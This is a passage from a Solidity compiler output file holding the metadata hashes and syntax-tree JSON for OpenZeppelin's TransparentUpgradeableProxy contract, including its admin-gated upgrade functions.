/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol","id":47276,"exportedSymbols":{"Address":[48259],"ERC1967Proxy":[46747],"ERC1967Upgrade":[47065],"IBeacon":[47127],"IERC1822Proxiable":[46710],"Proxy":[47117],"StorageSlot":[48341],"TransparentUpgradeableProxy":[47275]},"nodeType":"SourceUnit","src":"133:4986:29","nodes":[{"id":47129,"nodeType":"PragmaDirective","src":"133:23:29","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":47130,"nodeType":"ImportDirective","src":"158:37:29","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol","file":"../ERC1967/ERC1967Proxy.sol","nameLocation":"-1:-1:-1","scope":47276,"sourceUnit":46748,"symbolAliases":[],"unitAlias":""},{"id":47275,"nodeType":"ContractDefinition","src":"1649:3469:29","nodes":[{"id":47152,"nodeType":"FunctionDefinition","src":"1923:167:29","nodes":[],"body":{"id":47151,"nodeType":"Block","src":"2053:37:29","nodes":[],"statements":[{"expression":{"arguments":[{"id":47148,"name":"admin_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47138,"src":"2076:6:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47147,"name":"_changeAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46968,"src":"2063:12:29","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":47149,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2063:20:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47150,"nodeType":"ExpressionStatement","src":"2063:20:29"}]},"documentation":{"id":47134,"nodeType":"StructuredDocumentation","src":"1708:210:29","text":" @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and\n optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}."},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":47143,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47136,"src":"2038:6:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47144,"name":"_data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47140,"src":"2046:5:29","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":47145,"kind":"baseConstructorSpecifier","modifierName":{"id":47142,"name":"ERC1967Proxy","nameLocations":["2025:12:29"],"nodeType":"IdentifierPath","referencedDeclaration":46747,"src":"2025:12:29"},"nodeType":"ModifierInvocation","src":"2025:27:29"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":47141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47136,"mutability":"mutable","name":"_logic","nameLocation":"1952:6:29","nodeType":"VariableDeclaration","scope":47152,"src":"1944:14:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47135,"name":"address","nodeType":"ElementaryTypeName","src":"1944:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47138,"mutability":"mutable","name":"admin_","nameLocation":"1976:6:29","nodeType":"VariableDeclaration","scope":47152,"src":"1968:14:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47137,"name":"address","nodeType":"ElementaryTypeName","src":"1968:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47140,"mutability":"mutable","name":"_data","nameLocation":"2005:5:29","nodeType":"VariableDeclaration","scope":47152,"src":"1992:18:29","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":47139,"name":"bytes","nodeType":"ElementaryTypeName","src":"1992:5:29","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1934:82:29"},"returnParameters":{"id":47146,"nodeType":"ParameterList","parameters":[],"src":"2053:0:29"},"scope":47275,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":47168,"nodeType":"ModifierDefinition","src":"2231:134:29","nodes":[],"body":{"id":47167,"nodeType":"Block","src":"2250:115:29","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47159,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":47155,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2264:3:29","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":47156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2268:6:29","memberName":"sender","nodeType":"MemberAccess","src":"2264:10:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":47157,"name":"_getAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46925,"src":"2278:9:29","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2278:11:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2264:25:29","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":47165,"nodeType":"Block","src":"2323:36:29","statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":47162,"name":"_fallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47095,"src":"2337:9:29","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function ()"}},"id":47163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2337:11:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47164,"nodeType":"ExpressionStatement","src":"2337:11:29"}]},"id":47166,"nodeType":"IfStatement","src":"2260:99:29","trueBody":{"id":47161,"nodeType":"Block","src":"2291:26:29","statements":[{"id":47160,"nodeType":"PlaceholderStatement","src":"2305:1:29"}]}}]},"documentation":{"id":47153,"nodeType":"StructuredDocumentation","src":"2096:130:29","text":" @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin."},"name":"ifAdmin","nameLocation":"2240:7:29","parameters":{"id":47154,"nodeType":"ParameterList","parameters":[],"src":"2247:2:29"},"virtual":false,"visibility":"internal"},{"id":47182,"nodeType":"FunctionDefinition","src":"2807:96:29","nodes":[],"body":{"id":47181,"nodeType":"Block","src":"2866:37:29","nodes":[],"statements":[{"expression":{"id":47179,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":47176,"name":"admin_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47174,"src":"2876:6:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":47177,"name":"_getAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46925,"src":"2885:9:29","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2885:11:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2876:20:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":47180,"nodeType":"ExpressionStatement","src":"2876:20:29"}]},"documentation":{"id":47169,"nodeType":"StructuredDocumentation","src":"2371:431:29","text":" @dev Returns the current admin.\n NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.\n TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the\n https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`"},"functionSelector":"f851a440","implemented":true,"kind":"function","modifiers":[{"id":47172,"kind":"modifierInvocation","modifierName":{"id":47171,"name":"ifAdmin","nameLocations":["2833:7:29"],"nodeType":"IdentifierPath","referencedDeclaration":47168,"src":"2833:7:29"},"nodeType":"ModifierInvocation","src":"2833:7:29"}],"name":"admin","nameLocation":"2816:5:29","parameters":{"id":47170,"nodeType":"ParameterList","parameters":[],"src":"2821:2:29"},"returnParameters":{"id":47175,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47174,"mutability":"mutable","name":"admin_","nameLocation":"2858:6:29","nodeType":"VariableDeclaration","scope":47182,"src":"2850:14:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47173,"name":"address","nodeType":"ElementaryTypeName","src":"2850:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2849:16:29"},"scope":47275,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":47196,"nodeType":"FunctionDefinition","src":"3363:129:29","nodes":[],"body":{"id":47195,"nodeType":"Block","src":"3440:52:29","nodes":[],"statements":[{"expression":{"id":47193,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":47190,"name":"implementation_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47188,"src":"3450:15:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":47191,"name":"_implementation","nodeType":"Identifier","overloadedDeclarations":[46746],"referencedDeclaration":46746,"src":"3468:15:29","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47192,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3468:17:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3450:35:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":47194,"nodeType":"ExpressionStatement","src":"3450:35:29"}]},"documentation":{"id":47183,"nodeType":"StructuredDocumentation","src":"2909:449:29","text":" @dev Returns the current implementation.\n NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.\n TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the\n https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`"},"functionSelector":"5c60da1b","implemented":true,"kind":"function","modifiers":[{"id":47186,"kind":"modifierInvocation","modifierName":{"id":47185,"name":"ifAdmin","nameLocations":["3398:7:29"],"nodeType":"IdentifierPath","referencedDeclaration":47168,"src":"3398:7:29"},"nodeType":"ModifierInvocation","src":"3398:7:29"}],"name":"implementation","nameLocation":"3372:14:29","parameters":{"id":47184,"nodeType":"ParameterList","parameters":[],"src":"3386:2:29"},"returnParameters":{"id":47189,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47188,"mutability":"mutable","name":"implementation_","nameLocation":"3423:15:29","nodeType":"VariableDeclaration","scope":47196,"src":"3415:23:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47187,"name":"address","nodeType":"ElementaryTypeName","src":"3415:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3414:25:29"},"scope":47275,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":47209,"nodeType":"FunctionDefinition","src":"3697:103:29","nodes":[],"body":{"id":47208,"nodeType":"Block","src":"3761:39:29","nodes":[],"statements":[{"expression":{"arguments":[{"id":47205,"name":"newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47199,"src":"3784:8:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47204,"name":"_changeAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46968,"src":"3771:12:29","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":47206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3771:22:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47207,"nodeType":"ExpressionStatement","src":"3771:22:29"}]},"documentation":{"id":47197,"nodeType":"StructuredDocumentation","src":"3498:194:29","text":" @dev Changes the admin of the proxy.\n Emits an {AdminChanged} event.\n NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}."},"functionSelector":"8f283970","implemented":true,"kind":"function","modifiers":[{"id":47202,"kind":"modifierInvocation","modifierName":{"id":47201,"name":"ifAdmin","nameLocations":["3753:7:29"],"nodeType":"IdentifierPath","referencedDeclaration":47168,"src":"3753:7:29"},"nodeType":"ModifierInvocation","src":"3753:7:29"}],"name":"changeAdmin","nameLocation":"3706:11:29","parameters":{"id":47200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47199,"mutability":"mutable","name":"newAdmin","nameLocation":"3726:8:29","nodeType":"VariableDeclaration","scope":47209,"src":"3718:16:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47198,"name":"address","nodeType":"ElementaryTypeName","src":"3718:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3717:18:29"},"returnParameters":{"id":47203,"nodeType":"ParameterList","parameters":[],"src":"3761:0:29"},"scope":47275,"stateMutability":"nonpayable","virtual":true,"visibility":"external"},{"id":47227,"nodeType":"FunctionDefinition","src":"3960:134:29","nodes":[],"body":{"id":47226,"nodeType":"Block","src":"4023:71:29","nodes":[],"statements":[{"expression":{"arguments":[{"id":47218,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47212,"src":"4051:17:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"","id":47221,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4076:2:29","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"id":47220,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4070:5:29","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":47219,"name":"bytes","nodeType":"ElementaryTypeName","src":"4070:5:29","typeDescriptions":{}}},"id":47222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4070:9:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"66616c7365","id":47223,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"4081:5:29","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":47217,"name":"_upgradeToAndCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46848,"src":"4033:17:29","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,bool)"}},"id":47224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4033:54:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47225,"nodeType":"ExpressionStatement","src":"4033:54:29"}]},"documentation":{"id":47210,"nodeType":"StructuredDocumentation","src":"3806:149:29","text":" @dev Upgrade the implementation of the proxy.\n NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}."},"functionSelector":"3659cfe6","implemented":true,"kind":"function","modifiers":[{"id":47215,"kind":"modifierInvocation","modifierName":{"id":47214,"name":"ifAdmin","nameLocations":["4015:7:29"],"nodeType":"IdentifierPath","referencedDeclaration":47168,"src":"4015:7:29"},"nodeType":"ModifierInvocation","src":"4015:7:29"}],"name":"upgradeTo","nameLocation":"3969:9:29","parameters":{"id":47213,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47212,"mutability":"mutable","name":"newImplementation","nameLocation":"3987:17:29","nodeType":"VariableDeclaration","scope":47227,"src":"3979:25:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47211,"name":"address","nodeType":"ElementaryTypeName","src":"3979:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3978:27:29"},"returnParameters":{"id":47216,"nodeType":"ParameterList","parameters":[],"src":"4023:0:29"},"scope":47275,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":47244,"nodeType":"FunctionDefinition","src":"4470:164:29","nodes":[],"body":{"id":47243,"nodeType":"Block","src":"4569:65:29","nodes":[],"statements":[{"expression":{"arguments":[{"id":47238,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47230,"src":"4597:17:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47239,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47232,"src":"4616:4:29","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},{"hexValue":"74727565","id":47240,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"4622:4:29","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":47237,"name":"_upgradeToAndCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46848,"src":"4579:17:29","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,bool)"}},"id":47241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4579:48:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47242,"nodeType":"ExpressionStatement","src":"4579:48:29"}]},"documentation":{"id":47228,"nodeType":"StructuredDocumentation","src":"4100:365:29","text":" @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified\n by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the\n proxied contract.\n NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}."},"functionSelector":"4f1ef286","implemented":true,"kind":"function","modifiers":[{"id":47235,"kind":"modifierInvocation","modifierName":{"id":47234,"name":"ifAdmin","nameLocations":["4561:7:29"],"nodeType":"IdentifierPath","referencedDeclaration":47168,"src":"4561:7:29"},"nodeType":"ModifierInvocation","src":"4561:7:29"}],"name":"upgradeToAndCall","nameLocation":"4479:16:29","parameters":{"id":47233,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47230,"mutability":"mutable","name":"newImplementation","nameLocation":"4504:17:29","nodeType":"VariableDeclaration","scope":47244,"src":"4496:25:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47229,"name":"address","nodeType":"ElementaryTypeName","src":"4496:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47232,"mutability":"mutable","name":"data","nameLocation":"4538:4:29","nodeType":"VariableDeclaration","scope":47244,"src":"4523:19:29","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":47231,"name":"bytes","nodeType":"ElementaryTypeName","src":"4523:5:29","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4495:48:29"},"returnParameters":{"id":47236,"nodeType":"ParameterList","parameters":[],"src":"4569:0:29"},"scope":47275,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":47254,"nodeType":"FunctionDefinition","src":"4695:93:29","nodes":[],"body":{"id":47253,"nodeType":"Block","src":"4753:35:29","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":47250,"name":"_getAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46925,"src":"4770:9:29","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4770:11:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":47249,"id":47252,"nodeType":"Return","src":"4763:18:29"}]},"documentation":{"id":47245,"nodeType":"StructuredDocumentation","src":"4640:50:29","text":" @dev Returns the current admin."},"implemented":true,"kind":"function","modifiers":[],"name":"_admin","nameLocation":"4704:6:29","parameters":{"id":47246,"nodeType":"ParameterList","parameters":[],"src":"4710:2:29"},"returnParameters":{"id":47249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47248,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47254,"src":"4744:7:29","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47247,"name":"address","nodeType":"ElementaryTypeName","src":"4744:7:29","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4743:9:29"},"scope":47275,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":47274,"nodeType":"FunctionDefinition","src":"4909:207:29","nodes":[],"body":{"id":47273,"nodeType":"Block","src":"4962:154:29","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":47260,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"4980:3:29","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":47261,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4984:6:29","memberName":"sender","nodeType":"MemberAccess","src":"4980:10:29","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":47262,"name":"_getAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46925,"src":"4994:9:29","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47263,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4994:11:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"4980:25:29","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5472616e73706172656e745570677261646561626c6550726f78793a2061646d696e2063616e6e6f742066616c6c6261636b20746f2070726f787920746172676574","id":47265,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5007:68:29","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5d2ea39d7e6c7d19dc32ccc2bd7ca26b7aa4a603ef4aa6f2b205c93c3ffe43d","typeString":"literal_string \"TransparentUpgradeableProxy: admin cannot fallback to proxy target\""},"value":"TransparentUpgradeableProxy: admin cannot fallback to proxy target"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f5d2ea39d7e6c7d19dc32ccc2bd7ca26b7aa4a603ef4aa6f2b205c93c3ffe43d","typeString":"literal_string \"TransparentUpgradeableProxy: admin cannot fallback to proxy target\""}],"id":47259,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4972:7:29","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47266,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4972:104:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47267,"nodeType":"ExpressionStatement","src":"4972:104:29"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":47268,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"5086:5:29","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_TransparentUpgradeableProxy_$47275_$","typeString":"type(contract super TransparentUpgradeableProxy)"}},"id":47270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5092:15:29","memberName":"_beforeFallback","nodeType":"MemberAccess","referencedDeclaration":47116,"src":"5086:21:29","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function 